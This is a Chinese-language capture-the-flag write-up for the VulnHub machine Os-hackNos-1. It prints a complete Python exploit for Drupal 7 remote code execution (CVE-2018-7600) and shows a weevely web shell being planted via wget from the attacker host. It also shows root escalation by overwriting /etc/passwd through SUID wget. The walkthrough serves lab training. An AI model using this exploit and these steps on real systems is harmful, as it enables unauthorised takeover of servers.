vulnhub靶机练习-Os-hackNos-1

admin 2021年9月29日22:37:18vulnhub靶机练习-Os-hackNos-1已关闭评论150 views字数 5542阅读18分28秒阅读模式

靶机下载地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

难度:容易-中级

Flag : 2个flag第一个用户和第二个 root

学习:利用 | 网络应用 | 枚举 | 权限提升

靶机的安装

首先下载靶机的ova文件,点击进行安装

有的靶机可能打开无法获取IP,我们这里需要手动进行修改

把靶机网络设置成nat模式,然后在开启靶机时一直按住shift,出现如下页面后按e

image-20210820133257789

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面

image-20210820133356912

查ip发现查不到,记住网卡的名称,准备修改配置信息

image-20210820133423018

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33

image-20210820133439591

然后/etc/init.d/networking restart 重启网卡服务,然后重启虚拟机即可

信息搜集

此时我们的攻击机和靶机都处于同一网段,我们可以看看在什么网段下,输入ip a查看到当前攻击机ip是192.168.169.134

image-20210820133629424

我们此时对192.168.169.0/24这个网段进行扫描,使用nmap -sn 192.168.169.0/24 这个命令来对我们存活的ip进行扫描

image-20210820134030550

我们这里可以看到192.168.169.137这个ip是我们靶机的ip,现在对他进行一下信息搜集,使用nmap -sV -sC -A 192.168.169.137这个命令

image-20210820134417985

靶机开启了80端口和22端口,22端口是ssh,如果想利用22端口的话就得对他的账号密码进行爆破

我们这里先看看80端口有什么东西,打开只有这个界面,啥也没有,我们扫一下他的目录吧

image-20210820134516506

我们这里使用gobuster来进行扫描 扫描命令 gobuster dir -u http://192.168.169.137/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt(没有这个工具的可以使用 apt install gobuster进行安装)

image-20210820134958841

发现了一个drupal目录,这是一个cms,他有一个CHANGELOG.txt 文件,我们可以访问看看,内容如下

image-20210820135240692

他当前的版本应该是Drupal 7.57,我们找一下有没有对应的exp可以直接打,这里是直接有exp的

漏洞挖掘&后渗透提权

使用exp先安装下面两个包

1
2
pip install requests
pip install bs4

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
by poisoning the recover password form (user/password) and triggering it with
the upload file via ajax (/file/ajax).
''')
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args

def pwn_target(target, function, command, proxy):
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
print('[*] Poisoning a form and including it in cache.')
get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, "html.parser")
try:
form = soup.find('form', {'id': 'user-pass'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/name/#value/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise

def main():
print ()
print ('=============================================================================')
print ('| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |')
print ('| by pimps |')
print ('=============================================================================n')

args = get_args()
pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
main()

使用exp来看当前权限,当前是www-data权限,我们后续需要进行提权

image-20210820142315760

我们先来拿一个交互式的shell吧,我们这里使用weevely这个工具,kali里面有的

具体使用过程如下

1
2
3
4
5
6
#kali生成小马
weevely generate cmd ./xiaoma.php
#kali开启HTTP服务
python -m SimpleHTTPServer
#上传小马至靶机
wget http://192.168.169.134:8000/xiaoma.php

然后我们使用 weevely http://192.168.169.137/drupal/xiaoma.php cmd连接上我们的小马,输入id即可获得交互式的shell了

image-20210820142753423

我们这时候来找找flag在哪,查看一下/etc/passwd文件,可以翻到有个james用户啊,我们这时候可以进入/home/james看看

image-20210820142839867

成功获取到第一个flag

image-20210820142923008

接下来想办法提权,我们这时候用linux下的suid提权吧,先来找找哪些命令是有suid权限的(关于命令的suid权限在文章末尾会讲)

使用查找命令:audit_suidsgid -only-suid /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
www-data@hackNos:/var/www/html $ audit_suidsgid -only-suid /
+---------------------------------------------+
| /usr/lib/dbus-1.0/dbus-daemon-launch-helper |
| /usr/lib/openssh/ssh-keysign |
| /usr/lib/i386-linux-gnu/lxc/lxc-user-nic |
| /usr/lib/eject/dmcrypt-get-device |
| /usr/lib/snapd/snap-confine |
| /usr/lib/policykit-1/polkit-agent-helper-1 |
| /usr/bin/pkexec |
| /usr/bin/at |
| /usr/bin/newgidmap |
| /usr/bin/gpasswd |
| /usr/bin/sudo |
| /usr/bin/newgrp |
| /usr/bin/newuidmap |
| /usr/bin/wget |
| /usr/bin/passwd |
| /usr/bin/chsh |
| /usr/bin/chfn |
| /bin/ping6 |
| /bin/umount |
| /bin/ntfs-3g |
| /bin/mount |
| /bin/ping |
| /bin/su |
| /bin/fusermount |
+---------------------------------------------+

我们发现wget命令可以用普通用户以root权限执行,那么我们就可以利用它修改passwd文件,加入root权限用户。

我们这里思路是先把他/etc/passwd文件复制出来,添加我们的账号,然后使用我们创建的passwd文件去替换他

image-20210820144010000

生成密码哈希

1
2
openssl passwd -1 -salt ch0x01e 123456
$1$ch0x01e$fx1mGKlBXPhIHiMGNknqI1

然后把etc/passwd中的root那行复制一下,x换成我们生成的密码哈希,重新添加到新的一行当中

image-20210820144342568

重新进行wget http://192.168.169.134:8000/passwd -O /etc/passwd

-O参数是替换/etc/passwd,检查一下,没问题可以使用 su ch0x01e登陆了

image-20210820144611738

额,这里好像su ch0x01e还不能登录,我们切换到标准shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

然后使用su ch0x01e登陆即可

suid提权详解

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

相关推荐: dll劫持从0到1-篇3(实战中白加黑的快速探寻)

STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日22:37:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶机练习-Os-hackNos-1https://cn-sec.com/archives/560417.html